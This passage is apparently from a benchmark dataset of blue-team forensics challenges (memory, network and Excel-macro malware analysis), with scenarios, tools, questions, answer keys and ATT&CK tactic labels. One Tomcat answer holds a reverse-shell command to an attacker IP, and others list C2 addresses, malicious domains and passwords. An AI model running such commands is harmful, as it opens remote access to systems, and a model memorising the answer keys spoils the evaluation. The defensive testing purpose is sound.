'ecorpoffice/win7ecorpoffice.vmem', can you identify if any ransomware was demanded through a cryptocurrency wallet? If so, what is the wallet address associated with this incident?", "answer": "25UMDkGKBe484WSj5Qd8DhK6xkMUzQFydY", "adversarial_tactic": "Impact: The presence of a cryptocurrency wallet linked to ransom demands relates to Impact, where ransomware or extortion attacks cause operational or financial disruption."}, {"question": "8. In the 'ecorpoffice/win7ecorpoffice.vmem' file, can you locate if any system identifier was given by the suspicious file for remote access activities. If so, what identifier is associated with this activity?", "answer": "528 812 561", "adversarial_tactic": "Persistence: The system identifier for remote access likely provides the attacker with Persistence, enabling repeated access to the compromised system."}, {"question": "9. Within the 'ecorpoffice/win7ecorpoffice.vmem', can you identify any signs of recent external connections through remote access tool? If so, what IP address is associated with the latest remote access connection?", "answer": "31.6.13.155", "adversarial_tactic": "Command and Control: Identifying IPs associated with remote connections indicates Command and Control (C2) tactics, where attackers establish channels to control compromised systems."}, {"question": "10. Within the memory dump 'ecorpoffice/win7ecorpoffice.vmem', analyze scripts or functions embedded in a suspicious document. What function name appears to return the command string executed on the system?", "answer": "UsoJar", "adversarial_tactic": "Execution: This question targets script-based Execution tactics, where embedded commands execute malicious actions within the compromised environment."}, {"question": "11. In the memory dump 'ecorpwin7/win7.vmem', can you identify if there is any document seems to be suspicious? If so, what is the name of the suspicious document?", "answer": "Important_ECORP_Lawsuit_Washington_Leak.rtf", "adversarial_tactic": "Initial Access: Malicious documents associated with compromise entry points fit Initial Access tactics, where attackers often use documents to establish a foothold."}, {"question": "12. Within the 'ecorpwin7/win7.vmem', can you identify is there any password used for compressing files related to exfiltration? If so, what is the password used for this purpose?", "answer": "password1234", "adversarial_tactic": "Exfiltration: The password for compressed files used in data exfiltration aligns with Exfiltration tactics, where data is covertly transferred from the environment."}, {"question": "13. In the memory dump 'ecorpwin7/win7.vmem', can you identify if there is any indicator of a command-and-control (C2) server? If so, what is the IP address associated with this C2 server?", "answer": "52.90.110.169", "adversarial_tactic": "Command and Control: External C2 server connections are central to Command and Control (C2) tactics, where attackers remotely manage and execute commands on infected machines."}, {"question": "14. Within the 'ecorpwin7/win7.vmem', can you find any email addresses associated with any phishing activity. If so, what is the sender's email address linked to this activity?", "answer": "lloydchung@allsafecybersec.com", "adversarial_tactic": "Initial Access: Email addresses associated with phishing attempts to gain access indicate Initial Access through social engineering and email-based attack vectors."}, {"question": "15. Search 'ecorpwin7/win7.vmem', can you identify if there is any package that the attacker staged to infect the E Coin Servers? If so, what is the name of the package?", "answer": "linuxav.deb", "adversarial_tactic": "Impact: Malicious packages on E Coin Servers relate to Impact tactics, where attackers disrupt operations or services through malware installation."}]}
{"scenario_name": "THM_Profile", "source": "https://tryhackme.com/r/room/profilesroom", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@lukwagoasuman236/tryhackme-profiles-write-up-60202db52210", "scenario": "The incident response team has notified you of unusual behavior on a Linux-based database server. A memory dump was captured from the system and handed over for examination. The team is unsure about the exact nature of the issue, and your task is to analyze the dump to detect any signs of compromise or malicious activity.", "task_category": "Memory Forensics", "complexity": "Medium", "tools_available": ["Volatility (2.6.1)", "grep", "awk", "sed", "find", "strings", "file", "cut", "uniq", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois"], "files_available": "linux.mem", "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed).(Extra info: The profile for win7ecorpoffice memory dump is 'Linuxubuntu20_04x64'.)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. From the memory dump, can you identify if any user credentials are exposed. If so, what is the exposed password?", "answer": "Ftrccw45PHyq", "adversarial_tactic": "Credential Access: Exposed credentials can be used by attackers to gain unauthorized access to systems."}, {"question": "2. Can you identify if any database file was accessed? If so, what is the timestamp of the access?", "answer": "2023-11-07 03:49:45", "adversarial_tactic": "Credential Access: Access to critical database files could signal an attempt to extract user information."}, {"question": "3. Can you identify if there are any files that seems to be suspicious? If so, what is the md5 hash of the file?", "answer": "0511ccaad402d6d13ce801e1e9136ba2", "adversarial_tactic": "Execution: For identifying files potentially used to execute malicious processes."}, {"question": "4. Can you identify any network-related activity related to any potential malicious actor? If so, what is the IP address and port number of the malicious actor?", "answer": "10.0.2.72:1337", "adversarial_tactic": "Command and Control: Identifying network connections to malicious IP addresses can help identify command-and-control servers used by attackers to control compromised systems."}, {"question": "5. Can you identify if there is any evidence of scheduled tasks or cron jobs in the memory dump? If so, what is the full path of the cron job file and its inode number?", "answer": "The full path of the cronjob file is /var/spool/cron/crontabs/root and its inode number is 131127", "adversarial_tactic": "Persistence: Cron jobs can be used by attackers to ensure their malicious code runs at regular intervals, maintaining persistence."}, {"question": "6. If there is any evidence of cron jobs, can you identify the contents of the cron job file? If so, what command is being executed by the cron job?", "answer": "* * * * * cp /opt/.bashrc/root/.bashrc", "adversarial_tactic": "Persistence: The cron job may be designed to ensure continuous execution of malicious commands or scripts."}]}
{"scenario_name": "Tomcat", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/tomcat-takeover/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/Tomcat%20Takeover", "scenario": "Suspicious behavior was detected by the SOC team on a web server operating inside the company’s intranet. To investigate further, they collected network traffic for detailed examination. The captured PCAP file could hold clues pointing to malicious actions that resulted in the compromise of the Apache Tomcat server. Your objective is to analyze the PCAP data and determine the extent of the attack.", "task_category": "Network Forensics", "complexity": "Easy", "tools_available": ["tshark", "grep", "awk", "sed", "find", "strings", "file", "cut", "uniq", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Using the network traffic, can you identify if there is any source IP address exhibiting scanning behavior. If so, what is the IP address?", "answer": "14.0.0.120", "adversarial_tactic": "Reconnaissance : This activity involves identifying the source of the scanning or enumeration behavior in the captured network traffic."}, {"question": "2. Based on the identified IP address associated with the attacker, can you ascertain the city from which the attacker's activities originated?", "answer": "Guangzhou", "adversarial_tactic": "Reconnaissance: IP attribution helps in understanding the attack source from which the reconnaissance activities are originating."}, {"question": "3. Can you identify if there were any ports detected as open on the target server during the attack? If so, which of the ports provide access to the web server admin panel?", "answer": "8080", "adversarial_tactic": "Reconnaissance: Identifying open ports helps attackers find potential entry points."}, {"question": "4. Can you identify if the attacker attempted to enumerate directories and files on the web server? If so, which tool/tools were used for this purpose?", "answer": "Gobuster", "adversarial_tactic": "Discovery: Enumeration helps attackers map server structure."}, {"question": "5. Subsequent to directory enumeration, can you identify if the attacker attempted to identify administrative interfaces? If so, which directory was the attacker was able to uncover?", "answer": "/manager", "adversarial_tactic": "Discovery: Enumeration helps attackers map server structure."}, {"question": "6. Subsequent to accessing the administrative interface, can you identify if the attacker attempted to authenticate to the web server? If so, what credentials were used?", "answer": "admin:tomcat", "adversarial_tactic": "Initial Access: Default or weak credentials can provide initial access to systems."}, {"question": "7. Following successful authentication, can you identify if the attacker uploaded any files to the web server? If so, what was the name of the uploaded file?", "answer": "JXQOZY.war", "adversarial_tactic": "Execution: File uploads can deliver malicious payloads to the server."}, {"question": "8. Can you identify if the attacker attempted to establish persistence on the compromised server? If so, what persistence mechanisms were employed?", "answer": "/bin/bash -c bash -i >& /dev/tcp/14.0.0.120/443 0>&1", "adversarial_tactic": "Persistence: Attackers use persistence mechanisms to maintain access to compromised systems."}]}
{"scenario_name": "Ulysses", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/ulysses/", "last_accessed": "June 04, 2025", "writeup": "https://forensicskween.com/ctf/cyberdefenders/ulysses/", "scenario": "A research server triggered alerts due to unusual behavior following numerous failed login attempts. Analysts confirmed signs of a brute-force attack, suspicious outbound traffic, and potential persistence techniques. Hard disk dumps and memory snapshots of the machine are provided in order to solve the challenge.", "task_category": "Memory Forensics", "complexity": "Medium", "tools_available": ["Volatility (2.6.1)", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois"], "files_available": ["sample.sda1.img", "sample.kcore.img", "sample.memdump.img"], "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed). (Extra info: The profile for win7ecorpoffice memory dump is 'LinuxDebian5_26x86'. and The sample.sda1.img is mounted to (path) directory.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. What operating system is running on the server?", "answer": "Debian GNU/Linux 5.0", "adversarial_tactic": ""}, {"question": "2. What is the ip address of the server?", "answer": "192.168.56.102", "adversarial_tactic": ""}, {"question": "3. Can you verify if there are any suspicious authentication attempts? If so, what user account shows signs of suspicious activity?", "answer": "ulysses", "adversarial_tactic": "Credential Access: Monitoring failed login attempts may indicate password guessing or brute-forcing attacks targeting specific accounts."}, {"question": "4. If there are suspicious authentication attempts, how many failed login attempts are recorded for the suspicious activity? ", "answer": "32", "adversarial_tactic": "Credential Access: Monitoring failed login attempts may indicate password guessing or brute-forcing attacks targeting specific accounts."}, {"question": "5. Can you identify if there are any IP addresses that have been interacting with the server recently and that seems to be suspicious?", "answer": "192.168.56.1, 192.168.56.101", "adversarial_tactic": "Command and Control: Identifying suspicious IP addresses can help trace potential Command and Control (C2) servers or attacker-controlled systems."}, {"question": "6. Can you identify if there are any active network communication processes running on the system that might be suspicious? If so, what is the name of the service and its process ID?", "answer": "nc service with PID 2169", "adversarial_tactic": "Command and Control: Active network communication processes can indicate Command and Control (C2) activity, where attackers maintain control over compromised systems."}, {"question": "7. Can you identify if there are any services that might have been exploited to gain access to the system? If so, what is the name of the service?", "answer": "Exim4", "adversarial_tactic": "Initial Access: Exploiting services is a common Initial Access tactic, where attackers leverage vulnerabilities to gain a foothold in the target system."}, {"question": "8. Can you identify if any new file been downloaded or created on the server recently? If so, what is the name of the file?", "answer": "rk.tar", "adversarial_tactic": "Execution: Downloading files is a common tactic for delivering payloads or additional tools to the target system."}, {"question": "9. Can you identify if there were any ports involved in network traffic that seem associated with data exfiltration? If so, what is the port number of the highest one? ", "answer": "8888", "adversarial_tactic": "Exfiltration: Identifying ports associated with data exfiltration can help trace the methods attackers use to steal data from the target system."}, {"question": "10. Can you identify, if there has been any attempt to modify firewall settings? If so, find if any port was blocked or manipulated.", "answer": "45295", "adversarial_tactic": "Defense Evasion: Modifying firewall settings is a Defense Evasion tactic, where attackers attempt to bypass security controls to maintain access or exfiltrate data."}]}
{"scenario_name": "XLM_Macro", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/xlm-macros/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/XLM_Macros", "scenario": "This task aims to place you in the role of a blue team security analyst, where you'll analyze two documents leveraging Excel 4.0 macros designed to evade analysis and download the next stage of the attack.", "task_category": "Malware Analysis", "complexity": "Medium", "tools_available": ["oledump", "olevba", "xlmdeobfuscator", "msoffcrypto-tool", "msoffcrypto-crack.py", "plugin_biff.py", "grep", "find", "file", "cut", "unique", "wc", "cat", "ls", "sort", "tr", "base64", "find", "cd", "md5sum", "python"], "files_available": ["sample1.bin", "sample2.bin"], "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, oledump, olevba, xlmdeobfuscator, msoffcrypto-tool, msoffcrypto-crack, plugin_biff.py if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. From sample1.bin, can you identify if there is any protection mechanism applied to the document? If so, what is the password used to protect the document?", "answer": "VelvetSweatshop", "adversarial_tactic": "Defense Evasion: Attackers often use password protection to evade detection and complicate analysis by restricting access to document contents."}, {"question": "2. From sample1.bin, can you identify any hidden sheets in sample1.bin? If so, what is the name of the sheet that starts with the letter 'S'?", "answer": "SOCWNEScLLxkLhtJp", "adversarial_tactic": "Defense Evasion: Hidden sheets and workbook elements conceal malicious code or indicators, helping evade security tools and analysts."}, {"question": "3. From sample1.bin, can you identify any URLs embedded within the document used for downloading the next stage of the attack? If so, what is the domain name used for communication?", "answer": "rilaer.com", "adversarial_tactic": "Command and Control: URLs for secondary payloads are often embedded for command and control communication, enabling attackers to download additional components."}, {"question": "4. From sample1.bin, can you identify any file that appears to be downloaded or referenced as suspicious executables? If so, what is the name of the file? ", "answer": "ixcxmzcvqui.exe", "adversarial_tactic": "Execution: Executable references in macros indicate potential malware that will be executed upon download, contributing to the Execution tactic."}, {"question": "5. From sample2.bin, can you identify if there are any hidden sheets in the document? If so, what is the name of the sheet?", "answer": "CSHykdYHvi", "adversarial_tactic": "Defense Evasion: Very hidden sheets help attackers obfuscate malicious content and evade automated analysis."}, {"question": "6. From sample2.bin, can you identify any instances of registry command usage, particularly noting any registry key accessed by the document? If so, what registry key is it checking?", "answer": "VBAWarnings", "adversarial_tactic": "Persistence: Modifying registry keys related to security can either evade defenses or persistently disable protection mechanisms."}, {"question": "7. From sample2.bin, can you identify any registry checks performed? If so, what is the value being accessed indicating a virtual or sandboxed environment?", "answer": "0x1", "adversarial_tactic": "Defense Evasion: Anti-virtualization checks help malware detect and evade analysis environments, allowing it to remain undetected during analysis."}, {"question": "8. In sample2.bin, can you identify any specific macro functions employed for anti-analysis? If so, what is the function used?", "answer": "GET.WORKSPACE", "adversarial_tactic": "Defense Evasion: Anti-analysis functions retrieve system information that helps malware determine if its in an analysis environment, facilitating evasion."}, {"question": "9. In sample2.bin, can you identify any if there are any environment checks performed? If so, what is the value being used to compare the environment?", "answer": "Windows", "adversarial_tactic": "Defense Evasion: Environment checks enable the malware to evade detection by distinguishing between analysis and target environments."}, {"question": "10. In sample2.bin, can you identify if there are any payloads downloaded? If so, what is the type of payload being downloaded?", "answer": "DLL", "adversarial_tactic": "Execution: Downloaded payloads are often executed to deliver malicious functionality, contributing to the Execution tactic."}, {"question": "11. In sample2.bin, can you identify any URLs or domains linked to the payload download? If so, what is the URL or domain?", "answer": "ethelenecrace.xyz", "adversarial_tactic": "Command and Control: Environment checks enable the malware to evade detection by distinguishing between analysis and target environments."}, {"question": "12. In sample2.bin, can you identify the filenames used for saving downloaded payloads? If so, what is the filename?", "answer": "bmjn5ef.html", "adversarial_tactic": "Execution: Filenames of downloaded payloads indicate potential malware components that are saved and executed."}, {"question": "13. In sample2.bin, can you identify any processes or executables invoked to execute payload? If so, what is the executable name?", "answer": "rundll32.exe", "adversarial_tactic": "Execution: Executable invocation for malware execution falls under the Execution tactic as it runs malicious code."}]}